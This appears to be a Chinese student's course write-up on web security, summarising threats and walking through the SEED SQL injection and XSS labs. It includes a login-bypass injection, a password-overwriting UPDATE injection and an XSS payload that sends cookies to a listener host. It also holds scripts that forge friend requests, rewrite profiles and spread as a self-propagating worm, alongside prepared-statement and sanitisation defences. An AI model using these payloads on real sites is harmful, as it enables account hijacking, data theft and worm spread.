20199128 2019-2020-2 《網絡攻防實踐》第十一週做業

20199128 2019-2020-2 《網絡攻防實踐》第十一週做業

這個做業屬於哪一個課程 《網絡攻防實踐》
這個做業的要求在哪裏 《網絡攻防實踐》第十一週做業
這個做業在哪一個具體方面幫助我實現目標 學習Web應用程序安全攻防知識
做業正文.... 見正文
其餘參考文獻 見參考文獻

1.實踐內容

1.1Web應用程序體系結構及其安全威脅

  • Web應用程序:一種使用瀏覽器在互聯網或企業內部網上進行訪問操做的應用軟件形態,一般以瀏覽器支持的語言編寫(JavaScript、HTML等),或可以在瀏覽器控制的環境中運行,依賴瀏覽器對應用程序渲染執行。
  • Web應用的體系結構:瀏覽器負責數據顯示與渲染;服務器負責業務計算處理;兩者經過HTTP/HTTPS進行通訊。
  • Web應用安全威脅:
    • 針對瀏覽器和終端用戶的Web瀏覽器安全威脅
    • 針對傳輸網絡的網絡協議安全威脅
    • 系統層安全威脅
    • web服務器軟件安全威脅
    • Web應用程序安全威脅
    • Web數據安全威脅

1.2Web應用安全攻防技術概述

1.2.1信息收集

  • 手工審查:手工瀏覽過程當中,收集Web應用程序的靜態和動態生成的頁面、目錄結構、輔助性文件、輸入表單、查詢參數字符串等信息。
  • 自動下載與鏡像Web站點頁面:Linux系統的lynx、wget和Windows系統上的TelePort Pro、Offline Explorer等鏡像軟件
  • 使用Google Hacking技術審查與探測Web應用程序:指使用Google搜索引擎或其餘的Google應用,在Web站點中的配置、計算機代碼包含數據中,尋找安全漏洞與敏感信息的計算機黑客技術。
    • 獲取攻擊入口點
    • 獲取攻擊所需信息
    • 探測安全漏洞
    • 獲取敏感信息與數據
  • Web應用程序安全評估與漏洞檢測:對目標應用程序各功能進行研究評估,理解其體系結構與設計思路,找出薄弱環節,總結對該應用的詳細攻擊步驟。常須要使用TamperData、Firebug等瀏覽器插件、Fiddler、WebScarab等免費工具集及IBM Rational AppScan、WebRaver等商業Web應用安全評估系統和漏洞掃描器。

1.2.2攻擊Web服務器軟件

  • 數據驅動的遠程代碼執行安全漏洞:Web服務器軟件做爲網絡服務守護進程,也會出現緩衝區溢出、不安全指針、格式化字符串等一系列數據驅動安全漏洞的遠程攻擊滲透攻擊。
  • 服務器功能擴展模塊漏洞:IIS軟件、WebDAV模塊、Apache擴展組件模塊都存在漏洞。
  • 樣本文件安全漏洞:Web應用服務器包含的樣板腳本和代碼示例存在漏洞。
  • 源代碼泄露:可以查看到沒有防禦措施Web服務器上的應用程序源碼。
  • 資源解析攻擊:把同一資源的不一樣表示形式解析爲它的標準化名稱 的過程。

1.2.3攻擊Web應用程序

  • 針對認證機制的攻擊:針對用來確認用戶、服務或應用身份機制的攻擊手段
  • 受權機制的攻擊:針對用來肯定用戶、服務或應用是否具備執行請求動做必須權限機制的攻擊手段
  • 客戶端攻擊:擾亂或滲透攻擊web站點客戶端用戶的攻擊手段
  • 命令執行攻擊:在web站點執行遠程命令的攻擊手段
  • 信息暴露:獲取web站點具體系統信息的攻擊手段
  • 邏輯攻擊:擾亂或滲透攻擊web應用邏輯流程的攻擊手段

1.2.4攻擊Web數據內容

  • 安全敏感數據泄露
    • web服務器存在目錄遍歷漏洞或不安全的目錄文件枚舉配置
    • 利用web服務器的上傳目錄臨時中轉文件
    • 在web站點公開的文檔資料中包含我的隱私、企業祕密
  • 網站篡改:利用特定攻擊手段入侵網站後,將網站頁面內容進行替換,表達入侵成功或某種觀點訴求
  • 不良信息內容上傳:網站被攻陷後可能成爲不良信息的存儲和中轉倉庫

1.2.5web應用安全防範措施

  • Web站點網絡傳輸安全設防措施
    1. 儘可能使用HTTPS來保護傳輸的內容
    2. 經過加密的連接通道來管理Web站點
    3. 對關鍵的Web服務器設置靜態的MAC-ip映射,在服務網段內進行ARP等各種欺騙攻擊的檢測與MAC封禁機制,在網關位置部署防火牆與入侵檢測系統對Web服務器實施保護與安全監測,採用榮譽等機制來應對拒絕服務攻擊
  • Web站點操做系統及服務安全設防措施
    1. 對操做系統和服務器軟件即便進行補丁更新
    2. 對web站點服務器的操做系統以及開放的服務進行安全掃描
    3. 關閉不使用的服務,避免使用明文傳輸的網絡服務;設置強口令字,以及安全的服務配置;部署防火牆,設置對控制及內容上傳通道的限制訪問;配置數據備份服務,必要時設置冗餘和雙機熱備機制
  • Web應用程序安全設防措施
    1. 採用動態內容、支持用戶輸入的Web應用程序較靜態HTML具備更高的安全風險
    2. 對於必須提供用戶交互、採用動態頁面的Web站點,儘可能使用具備良好安全聲譽及穩定技術支持力量的Web應用軟件包
    3. 只在必要時候自主或外包開發Web應用程序,重視安全編程、持續性的安全測試和維護
    4. 使用Web服務器軟件提供的日誌功能,對Web應用程序的全部訪問請求進行日誌記錄與安全審計
  • Web站點數據安全設防措施
    1. 提升網站內容維護人員的安全意識
    2. 平常檢測和防禦

1.3SQL注入

  • 代碼注入根據攻擊目標可分爲
    • 惡意讀取、修改與操縱數據庫的SQL注入攻擊
    • 在Web服務器端安裝、執行Webshell等惡意腳本的PHP注入或ASP注入
    • 在Web服務器端惡意執行操做系統命令的Shell注入攻擊
    • 其餘(LDAP注入、郵件命令注入、空字節注入、SSI注入......)
  • SQL注入是利用Web應用程序數據層存在的輸入驗證不完善型安全漏洞實施的一類代碼注入技術。
  • SQL注入漏洞原理:用戶輸入沒有被正確地過濾以消除SQL語言中的字符串轉義字符(';%等)或者沒有進行嚴格的類型判斷,從而使用戶能夠輸入並執行一些非預期的SQL指令代碼。
  • SQL注入攻擊原理:向Web應用程序提供的用戶輸入接口輸入一段精心構造的SQL查詢命令,攻擊和利用不完善的輸入驗證機制,使得注入代碼得以執行完成非預期的攻擊操做行爲。
  • SQL注入攻擊步驟
    1. 發現注入點
    2. 判斷後臺數據庫類型:利用數據庫服務器的系統變量或系統表進行判斷。
    3. 後臺數據庫中管理員用戶口令字猜解:猜解代表、字段名、用戶名和口令。
    4. 上傳ASP後門,獲得默認帳戶權限
    5. 本地權限提高
    6. 利用數據庫擴展存儲過程執行Shell命令
  • SQL注入工具:Wposion、wieliekoek.pl、SPIKE Proxy等。
  • 防範措施:
    • 使用類型安全的參數編碼機制
    • 凡是來自外部的用戶輸入,必須進行完備檢查
    • 將動態SQL語句替換爲存儲過程、預編譯SQL或ADO命令對象
    • 增強SQL數據庫服務器的配置與鏈接

1.4XSS跨站腳本攻擊

  • 原理:利用Web應用程序中的安全漏洞,在服務器端網頁插入惡意客戶端腳本代碼,在Web服務器上產生出一些惡意攻擊頁面。
  • 類型:持久性XSS攻擊、非持久性XSS攻擊、基於DOM的XSS
  • 非持久性XSS攻擊步驟
    1. 攻擊者構造一個包含惡意腳本的bank.com登陸請求鏈接,經過email等方式將該攻擊發送給其餘用戶
    2. 用戶點擊登陸鏈接後會將惡意鏈接中包含的惡意腳本當作用戶名參數提交給bank.com登錄處理頁面
    3. 網站將會在反饋的歡迎頁面中包含惡意客戶端腳本
    4. 攻擊者的惡意客戶端在受害者瀏覽器中執行,會驅動瀏覽器發送會話令牌
    5. 攻擊者得到用戶會話令牌後,能夠劫持用戶會話,僞造用戶登陸進一步實施攻擊
  • 防範措施
    • 服務器端防範措施
      • 輸入驗證
      • 輸出淨化
      • 消除危險的輸入點
    • 客戶端防範措施
      • 提升瀏覽器訪問非受信網站時的安全等級
      • 關閉Cookie功能或設置Cookie只讀
      • 採用非主流安全瀏覽器

2.實踐過程

任務一 SEED SQL注入實驗


1.首先鍵入sudo service apache2 start啓動apache
2.而後使用mysql -uroot -p登陸數據庫,密碼是seedubuntu,查看一下表中數據,爲實驗結果作個佐證

javascript

對SELECT語句的攻擊

1.在fireFox收藏中打開SQL Injection site書籤(www.seedlabsqlinjection.com)php

2.F12,USERNAME和輸入些東西,登陸,在Network窗口看到輸入的用戶名和密碼發送給unsafe_home.phphtml

3.打開var/www/SQLInjection下的unsafe_home.php文件,看看其對數據斷定處理的具體描述

數據庫表中存儲的Password是輸入密碼經過sha1以後的哈希值

4.USERNAME輸入admin'#而PASSWORD輸入任意便可進入admin的登錄主頁,由於#註釋掉了SQL查詢語句中的and Password='$hashed_pwd'

5.命令行鍵入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%23',其中%27和%23便是'和#在url中的轉義編碼

6.在USERNAME中輸入admin';update cerdential set address='NewYork' where name='Alice' #,試圖修改信息,可是沒有成功,這是MySql的防護措施,阻止了調用多條語句。
java

對UPDATE的攻擊

1.以相似方式登陸Alice的主頁,在Edit Profile修改信息。輸入
',Password='46ab578353b0478abc71fa54796a76c10bbe41a8' where name='Ted'#
save後,退回登錄界面輸入ted和ted登陸,46ab578353b0478abc71fa54796a76c10bbe41a8是ted的sha1加密後的哈希值。mysql

對抗SQL注入

SQL注入漏洞的根本緣由是SQL語句送往數據庫執行時沒法分清數據和代碼。
1.在var/www/SQLInjection下除了看到以前實驗中的unsafe_home.php和unsafe_edit_backend.php,還能看到safe_home.php和safe_edit_backend.php。猜想是seedlab提供的使用了對抗sql注入機制的文件。
diff -y -W 100 unsafe_home.php safe_home.php(顯示不全),比對一下,發現後者使用了預編譯。

2.unsafe_edit_backend.php和safe_edit_backend.php

3.驗證一下效果,瀏覽器訪問
www.seedlabsqlinjection.com/safe_home.php?username=admin'%23&Password=
發現沒法進入admin的主頁了。

一樣驗證一下Edit Profile的變化,瀏覽器訪問
www.seedlabsqlinjection.com/safe_edit_backend.php?NickName='%2Csalary%3D100%23
發現Admin的工資並無改成100,而Nickname變爲了',salary=100#
web

任務二 SEED XSS 攻擊實驗


用戶部分信息sql

用戶名 密碼
admin seedelgg
alice seedalice
boby seedboby
charlie seedcharlie
samy seedsamy

彈窗顯示信息

1.在fireFox收藏中打開書籤XSS Lab Site(www.xsslabelgg.com)shell

2.用Alice的用戶登陸,用戶名alice,密碼seedalice數據庫

3.在Edit profile編輯我的信息的頁面中的Brief description項輸入<script> alert('xss');</script>,save後能夠看到一個提示信息爲XSS的彈窗

4.相似地,當Brief description項改成<script> alert(document.cookie);</script>,save後能夠看到一個包含本身cookie信息的彈窗
apache

竊取受害者的cookies

1.在命令行輸入nc -l 7777 -v監聽7777端口,而後將Brief description項改成
<script>document.write('<img src=http://192.168.200.4:7777?c='+escape(document.cookie) + ' >');</script>
save保存後看到命令行7777端口收到了cookie信息

成爲受害者的朋友

1.到Boby的主頁www.xsslabelgg.com/profile/boby,添加Boby爲好友,在Web控制檯Network窗口能夠看到用POST方法發送的HTTP請求,參數有三,分別是__elgg_token,__elgg_ts和friend


2.構造JS腳本

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

3.將上述腳本填入Alice我的信息的About me中,推出Alice帳戶,登陸Boby帳戶,訪問Alice主頁,而後返回本身的主頁,發現已經添加了Alice爲好友。
注意:About me中的代碼要用edit HTML模式保存

修改別人的信息

1.一樣先看一下修改我的信息都發送了什麼數據


2.構造js腳本

<script type="text/javascript">
window.onload = function(){
	//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
	//and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	//Construct the content of your url.
	var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
	var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
	alert(content)
	//FILL IN
	var samyGuid=44;
	//FILL IN
	if(elgg.session.user.guid!=samyGuid)
	{
		//Create and send Ajax request to modify profile
		var Ajax=null;
		Ajax=new XMLHttpRequest();
		Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
		Ajax.send(content);
	}
}
</script>

3.將js腳本填入edit HTML模式下Alice的About me中保存。而後登錄Boby帳戶,訪問Alice主頁而後回到Boby主頁,發現我的信息已改變。

編寫XSS蠕蟲

1.構建代碼

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>"; 
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    //Construct the content of your url.
    var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
    alert(content)

    var samyGuid=44;

    if(elgg.session.user.guid!=samyGuid){
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type",
        "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

2.將這段蠕蟲代碼放到Alice的About me中,而後登陸Boby的用戶訪問Alice的主頁,再登陸Charlie的用戶訪問Boby的主頁,能夠看到Charlie也被感染了。

對抗XSS攻擊

使用elgg提供的插件HTMLawed,管理員登錄後Account->Administration->plugins,將HTMLawed激活,再次訪問Alice主頁,發現About me部分的蠕蟲已失去效果,代碼做爲數據被展現。

除此以外還可使用htmlspecialchars函數轉義HTML中的特殊字符。

3.學習中遇到的問題及解決

  • 問題1:SQL查詢語句注入部分修改別人信息失敗
  • 問題1解決方案: pdf上有解釋,先前看的不仔細
  • 問題2:XSS攻擊部分代碼
  • 問題2解決方案:參考博客

4.實踐總結

實踐小巧但仍是頗有現實意義的。

參考資料

相關文章
相關標籤/搜索